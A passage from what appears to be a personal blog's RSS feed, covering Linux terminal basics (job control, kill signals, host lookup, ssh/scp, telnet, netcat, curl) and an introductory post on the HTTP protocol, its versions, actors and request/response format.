&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;2&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;+ &lt;span style=&#34;color:#ae81ff&#34;&gt;139909&lt;/span&gt; Stopped           sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;20000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ bg %1 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;+ sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;10000&lt;/span&gt; &amp;amp;            &lt;span style=&#34;color:#75715e&#34;&gt;# job 1 resumed in the background, prompt is not blocked&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ fg %2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;20000&lt;/span&gt;                   &lt;span style=&#34;color:#75715e&#34;&gt;# job 2 resumed in the foreground, prompt blocked&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;^C
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ kill &lt;span style=&#34;color:#ae81ff&#34;&gt;139063&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;1&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;+  Terminated              sleep &lt;span style=&#34;color:#ae81ff&#34;&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;kill&lt;/code&gt; command does not necessary &lt;em&gt;murder&lt;/em&gt; the process, it just sends a signal to it. If you want to terminate a process, you can &lt;code&gt;kill &amp;lt;pid&amp;gt;&lt;/code&gt; it, and hopefully it will gracefully shut down (by handling the &lt;code&gt;SIGTERM&lt;/code&gt; signal. If it does not stop, but you really want to get rid of it, you can use the &lt;code&gt;SIGKILL&lt;/code&gt; (&lt;code&gt;kill -9 &amp;lt;pid&amp;gt;&lt;/code&gt;) signal, that will terminate it by force, but that&amp;rsquo;s dangerous.&lt;/p&gt;
&lt;h3 id=&#34;host-name-lookup&#34;&gt;Host name lookup&lt;/h3&gt;
&lt;p&gt;To follow the NSS way:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ getent hosts freshdirect.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;10.60.14.202  freshdirect.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;root&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;$ echo &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;127.0.0.1 freshdirect.com&amp;#34;&lt;/span&gt; &amp;gt;&amp;gt; /etc/hosts
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ getent hosts freshdirect.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;127.0.0.1 freshdirect.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;DNS lookups:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ nslookup freshdirect.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server:         192.168.221.2
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Address:        192.168.221.2#53
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Non-authoritative answer:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Name:   freshdirect.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Address: 10.60.14.202
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ nslookup freshdirect.com 1.1.1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server:         1.1.1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Address:        1.1.1.1#53
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Non-authoritative answer:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Name:   freshdirect.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Address: 23.205.183.241
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;sshscp&#34;&gt;&lt;code&gt;ssh&lt;/code&gt;/&lt;code&gt;scp&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;To connect to a remote host you can use the &lt;code&gt;ssh&lt;/code&gt; command. You can copy files using &lt;code&gt;scp&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ssh commonsoda@bubble.codeandsoda.hu -i .ssh/id_rsa   &lt;span style=&#34;color:#75715e&#34;&gt;# log in to bubble using rsa key&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# forward local 1234 port to port 8000 of bubble (which is protected by firewall)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ ssh -L 1234:localhost:8000 bubble.codeandsoda.hu
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# copy files over ssh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ scp -r bubble.codeandsoda.hu:/var/log/nginx/ ./logs/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# better way to do it, copy only what&amp;#39;s updated&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ rsync -avz bubble.codeandsoda.hu:/var/log/nginx/ ./logs/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;socket-connection&#34;&gt;Socket connection&lt;/h3&gt;
&lt;p&gt;You can use the &lt;code&gt;telnet&lt;/code&gt; command to connect to a TCP port, and send data:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ telnet icesus &lt;span style=&#34;color:#ae81ff&#34;&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Trying 192.168.221.40...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Connected to icesus.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Escape character is &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;^]&amp;#39;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET / HTTP/1.1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: uxe.icesus.freshdirect.com
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ae81ff&#34;&gt;200&lt;/span&gt; OK
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Server: nginx/1.23.4
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date: Thu, &lt;span style=&#34;color:#ae81ff&#34;&gt;08&lt;/span&gt; Jun &lt;span style=&#34;color:#ae81ff&#34;&gt;2023&lt;/span&gt; 11:17:48 GMT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Content-Type: text/html
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;You can also create a &amp;ldquo;fake&amp;rdquo; server that listens on a specific port, for testing clients for example, using the &lt;code&gt;nc&lt;/code&gt; (netcat) command:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ nc -lp &lt;span style=&#34;color:#ae81ff&#34;&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;in an other shell&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ telnet localhost &lt;span style=&#34;color:#ae81ff&#34;&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hello!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;http-connection&#34;&gt;HTTP connection&lt;/h3&gt;
&lt;p&gt;There&amp;rsquo;s a lot of small tools to perform a HTTP request from the terminal. The most used/reliable one is &lt;code&gt;curl&lt;/code&gt;, you can even copy requests from the browsers network inspector as curl commands.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;$ curl http://localhost:3000/
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;head&amp;gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;fancy-new-stuff&#34;&gt;Fancy new stuff&lt;/h2&gt;
&lt;p&gt;Here I list a lot of programs that are modern (but far from standard) replacement for the tools above.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ls&lt;/code&gt; -&amp;gt; &lt;code&gt;exa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cat&lt;/code&gt; -&amp;gt; &lt;code&gt;bat&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cd&lt;/code&gt; -&amp;gt; &lt;code&gt;z&lt;/code&gt;/&lt;code&gt;zoxide&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find&lt;/code&gt; -&amp;gt; &lt;code&gt;fd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;grep&lt;/code&gt; -&amp;gt; &lt;code&gt;rg&lt;/code&gt; (ripgrep)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;df&lt;/code&gt; -&amp;gt; &lt;code&gt;duf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;du&lt;/code&gt; -&amp;gt; &lt;code&gt;dust&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ps&lt;/code&gt; -&amp;gt; &lt;code&gt;procs&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;top&lt;/code&gt; -&amp;gt; &lt;code&gt;htop&lt;/code&gt;, &lt;code&gt;gotop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nslookup&lt;/code&gt; -&amp;gt; &lt;code&gt;dog&lt;/code&gt;, &lt;code&gt;drill&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl&lt;/code&gt; -&amp;gt; &lt;code&gt;xh&lt;/code&gt;, &lt;code&gt;httpie&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other shells to try (replacing &lt;code&gt;bash&lt;/code&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;zsh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fish&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other fancy terminal stuff:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;terminal multiplexers: &lt;code&gt;zellij&lt;/code&gt;, &lt;code&gt;tmux&lt;/code&gt;, &lt;code&gt;screen&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;fuzzy finders: &lt;code&gt;skim&lt;/code&gt;, &lt;code&gt;fzf&lt;/code&gt; (for searching history, or files)&lt;/li&gt;
&lt;/ul&gt;</content>
    </item>
    
    <item>
      <title>Web Basics - HTTP</title>
      <link>https://horak.hu/posts/http/</link>
      <pubDate>Wed, 31 May 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/http/</guid>
      <description>&lt;p&gt;Now that we are aware of the basic networking concepts, let&amp;rsquo;s take a deeper look at the main protocol of the web - &lt;strong&gt;HTTP&lt;/strong&gt;.&lt;/p&gt;</description>
      <content>&lt;p&gt;Now that we are aware of the basic networking concepts, let&amp;rsquo;s take a deeper look at the main protocol of the web - &lt;strong&gt;HTTP&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id=&#34;history-of-http&#34;&gt;History of HTTP&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;Hypertext Transfer Protocol&lt;/em&gt; is an application layer protocol in the IP protocol family, built for transmitting hypermedia documents for the World Wide Web. Its first version was developed by Tim Berners-Lee at CERN in 1989.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s a request-response protocol (typical client-server model). The client (for example the browser) sends a &lt;em&gt;request&lt;/em&gt; to the server which sends back a &lt;em&gt;response&lt;/em&gt;. It&amp;rsquo;s a stateless protocol, meaning that the server does not keep any state between two requests.&lt;/p&gt;
&lt;p&gt;Versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;0.9 (had no version at that time) - 1989
&lt;ul&gt;
&lt;li&gt;the original, one-line protocol &lt;code&gt;GET /something.html&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc1945&#34;&gt;1.0&lt;/a&gt; - 1996
&lt;ul&gt;
&lt;li&gt;version information&lt;/li&gt;
&lt;li&gt;concept of headers for both request and response&lt;/li&gt;
&lt;li&gt;status code&lt;/li&gt;
&lt;li&gt;not just HTML content (thanks to the &lt;code&gt;Content-Type&lt;/code&gt; header)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc2068&#34;&gt;1.1&lt;/a&gt; - 1997
&lt;ul&gt;
&lt;li&gt;the first &lt;em&gt;properly&lt;/em&gt; standarized version&lt;/li&gt;
&lt;li&gt;used actively even today, easily extensible&lt;/li&gt;
&lt;li&gt;connections can be reused&lt;/li&gt;
&lt;li&gt;chunked responses&lt;/li&gt;
&lt;li&gt;cache control mechanisms&lt;/li&gt;
&lt;li&gt;content negotiation&lt;/li&gt;
&lt;li&gt;more domains from one IP (thanks to the mandatory &lt;code&gt;Host&lt;/code&gt; header)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc7540&#34;&gt;2.0&lt;/a&gt; - 2015
&lt;ul&gt;
&lt;li&gt;based on SPDY (by Google)&lt;/li&gt;
&lt;li&gt;binary protocol (instead of the older text based ones)&lt;/li&gt;
&lt;li&gt;multiplexed, parallel requests can be made over the same connection&lt;/li&gt;
&lt;li&gt;header compression - many headers are the same/similar for a lot of requests&lt;/li&gt;
&lt;li&gt;server push&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc9114/&#34;&gt;3.0&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;uses QUIC (desigen by Google&amp;hellip;) instead of TCP&lt;/li&gt;
&lt;li&gt;otherwise very similar to HTTP/2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Personal note about newer HTTP versions&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For small/medium websites, HTTP/1.1 is pretty much enough. Implementing (the protocol itself) is pretty easy, you can easily issue simple HTTP calls even by hand (via &lt;code&gt;telnet&lt;/code&gt; for example), and a basic HTTP/1.1 server that reports the temperature for example can be implemented in a few lines of C code running on a microcontroller.&lt;/p&gt;
&lt;p&gt;HTTP/2 and 3 are on the other hand huge beasts, with (basically mandatory, and computation heavy) TLS, header compression, connection multiplexing and so on. You most probably don&amp;rsquo;t want to implement any minor part of it for your hobby project - and as I said, you won&amp;rsquo;t pretty much need id for any low traffic site. Big websites (like Google or Facebook) are the ones who desperately need them.&lt;/p&gt;
&lt;p&gt;So if you are in an environment - using standard webserver software, like &lt;code&gt;nginx&lt;/code&gt; - where HTTP/2 or 3 is available, use it. But if you can only use HTTP/1.1 for embedded systems, it will still work. And if you want to connect it to the public internet, there&amp;rsquo;s always the option to put it behind a proxy server, that supports HTTP/2+ and strong TLS.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;actors&#34;&gt;Actors&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;┌──────────┐       ┌─────────┐          ┌───────────────────┐
│  Client  │◄─────►│  Proxy  │◄────────►│  Proxy            │
│          │       │         │          │  (load balancer)  │
└──────────┘       └─────────┘          └───────────────────┘
                                             ▲     ▲
                                             │     │
                               ┌────────┐    │     │  ┌────────┐
                               │ Server │◄───┘     └─►│ Server │
                               └────────┘             └────────┘
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;the-client&#34;&gt;The Client&lt;/h3&gt;
&lt;p&gt;The &lt;em&gt;user agent&lt;/em&gt; - a tool that acts on behalf of the user. In most cases the browser, or programs performing communication over HTTP.&lt;/p&gt;
&lt;p&gt;The client is always the one initiating the request. (Even in case of HTTP/2 server push, the content pushed by the server is just cached in the browser, and won&amp;rsquo;t be used until a formal request is performed to that specific resource - it just won&amp;rsquo;t use the network, but will be served from the cache.)&lt;/p&gt;
&lt;p&gt;To display a basic webpage - a hypertext document - the browser sends a request to fetch the HTML document that represents the page. While it parses this document, it discovers other resources (scripts, CSS files, images, videos, &amp;hellip;) that needs to be fetched too, and retrievs them (if required, it&amp;rsquo;s also a tricky topic when and what resources are fetched in which order&amp;hellip;). Later, scripts executed by the browser can fetch more resources, too.&lt;/p&gt;
&lt;h3 id=&#34;the-server&#34;&gt;The Server&lt;/h3&gt;
&lt;p&gt;The opposite side of the communication channel, which serves the documents requested by the client. From the client&amp;rsquo;s point of view the server appears to be a single entity, but it may actually be a collection of servers sharing the load in some way, or other software (like caches) delivering the requested resource in some way.&lt;/p&gt;
&lt;p&gt;Also a single server can host multiple websites using the &lt;code&gt;Host&lt;/code&gt; header of HTTP/1.1 and &lt;a href=&#34;https://en.wikipedia.org/wiki/Server_Name_Indication&#34;&gt;SNI&lt;/a&gt; for TLS.&lt;/p&gt;
&lt;h3 id=&#34;proxies&#34;&gt;Proxies&lt;/h3&gt;
&lt;p&gt;Between the client and the server, numerous nodes are relaying the HTTP messages. Due to the layered structure of the internet, most of them operate at some lower (transport, network or physical) layer, like routers and switches, thus being transparent for the application layer HTTP actors. Those that operate in the application layer are generally called &lt;strong&gt;proxies&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Proxies can perform the following actions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;caching (like the browsers)&lt;/li&gt;
&lt;li&gt;filtering (antivirus scan, parental controls, corporate filters)&lt;/li&gt;
&lt;li&gt;load balancing (to allow multiple servers share the load)&lt;/li&gt;
&lt;li&gt;terminate HTTPS or downgrade version (for dummy HTTP servers)&lt;/li&gt;
&lt;li&gt;authentication&lt;/li&gt;
&lt;li&gt;logging&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;the-http-flow&#34;&gt;The HTTP flow&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;m going to use HTTP/1.1 here, the concepts are the same for newer versions, and the optimizations (header compression, QUIC vs TCP, etc) are basically hidden from the user.&lt;/p&gt;
&lt;h3 id=&#34;tcp-connection&#34;&gt;TCP connection&lt;/h3&gt;
&lt;p&gt;The client opens a TCP connection (3-way handshake) - and builds the secure TLS channel over it if required. This is an &amp;ldquo;expensive&amp;rdquo; process, so it is a good idea to reuse this connection later. Multiple connections can be opened, but most browsers limit this to maximum 6 per domain.&lt;/p&gt;
&lt;h3 id=&#34;the-request&#34;&gt;The request&lt;/h3&gt;
&lt;p&gt;After the connection is established, the request is sent by the client to the server. For example:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;POST /ide/megy/az/adat HTTP/1.1
Host: cica.hu
Accept-Encoding: gzip, deflate, compress
Content-Type: application/x-www-form-urlencoded
Content-Length: 26

alma=12&amp;amp;beka=Beka%20vagyok
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id=&#34;method&#34;&gt;Method&lt;/h4&gt;
&lt;p&gt;Basically &lt;em&gt;verbs&lt;/em&gt; with different semantics.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GET&lt;/code&gt; - requests a resource, should not send data&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HEAD&lt;/code&gt; - request the same resource as &lt;code&gt;GET&lt;/code&gt;, but without the response body&lt;/li&gt;
&lt;li&gt;&lt;code&gt;POST&lt;/code&gt; - sends an entity to the specified resource (often cause change in the server side, &lt;em&gt;not idempotent&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PUT&lt;/code&gt; - replaces the current representation of the resource with the payload (&lt;em&gt;idempotent&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DELETE&lt;/code&gt; - deletes the specified resource&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Less frequently used, but still standardised:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CONNECT&lt;/code&gt; - establishes a tunnel to an other server (for proxies)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OPTIONS&lt;/code&gt; - describes the communication options&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TRACE&lt;/code&gt; - basically traces the path to the target server (through proxies)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PATCH&lt;/code&gt; - partial modification on a resource&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;path&#34;&gt;Path&lt;/h4&gt;
&lt;p&gt;The resource to fetch. Basically the URL without the protocol, domain, port and hash.&lt;/p&gt;
&lt;h4 id=&#34;http-version&#34;&gt;HTTP version&lt;/h4&gt;
&lt;p&gt;Well, most probably HTTP/1.1 if you can read it ;)&lt;/p&gt;
&lt;h4 id=&#34;headers&#34;&gt;Headers&lt;/h4&gt;
&lt;p&gt;See &lt;a href=&#34;https://horak.hu/posts/http/#http-headers&#34;&gt;HTTP Headers&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&#34;body&#34;&gt;Body&lt;/h4&gt;
&lt;p&gt;The data sent by the client to the server (where it makes sense, for &lt;code&gt;POST&lt;/code&gt; or &lt;code&gt;PUT&lt;/code&gt;, but should be empty for &lt;code&gt;GET&lt;/code&gt; or &lt;code&gt;HEAD&lt;/code&gt;).&lt;/p&gt;
&lt;h3 id=&#34;the-response&#34;&gt;The response&lt;/h3&gt;
&lt;p&gt;The server sends back a response:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;HTTP/1.1 200 OK
Date: Wed, 13 May 2015 11:12:13 GMT
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html
Server: nginx/1.7.1

}P������0������+@`������G&amp;lt;������x2+T���m���b���_oyH���
&lt;/code&gt;&lt;/pre&gt;&lt;h4 id=&#34;http-version-1&#34;&gt;HTTP version&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;HTTP/1.1&lt;/code&gt;&lt;/p&gt;
&lt;h4 id=&#34;status-code&#34;&gt;Status code&lt;/h4&gt;
&lt;p&gt;The status code indicates that the request was successful or not, and why:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1xx&lt;/code&gt; - informational&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2xx&lt;/code&gt; - success&lt;/li&gt;
&lt;li&gt;&lt;code&gt;3xx&lt;/code&gt; - redirection&lt;/li&gt;
&lt;li&gt;&lt;code&gt;4xx&lt;/code&gt; - client error&lt;/li&gt;
&lt;li&gt;&lt;code&gt;5xx&lt;/code&gt; - server error&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;headers-1&#34;&gt;Headers&lt;/h4&gt;
&lt;p&gt;See &lt;a href=&#34;https://horak.hu/posts/http/#http-headers&#34;&gt;HTTP Headers&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&#34;body-1&#34;&gt;Body&lt;/h4&gt;
&lt;p&gt;The resource sent back to the client (optional).&lt;/p&gt;
&lt;h3 id=&#34;the-connection-can-be-closed&#34;&gt;The connection can be closed&lt;/h3&gt;
&lt;p&gt;&amp;hellip; or kept open for further communication.&lt;/p&gt;
&lt;h2 id=&#34;http-headers&#34;&gt;HTTP Headers&lt;/h2&gt;
&lt;p&gt;The HTTP headers provide additional information about the request/response. A header consists of a case-insensitive &lt;code&gt;name&lt;/code&gt; followed by a color (&lt;code&gt;:&lt;/code&gt;), then by its value.&lt;/p&gt;
&lt;p&gt;Header can be related to (among many other things):&lt;/p&gt;
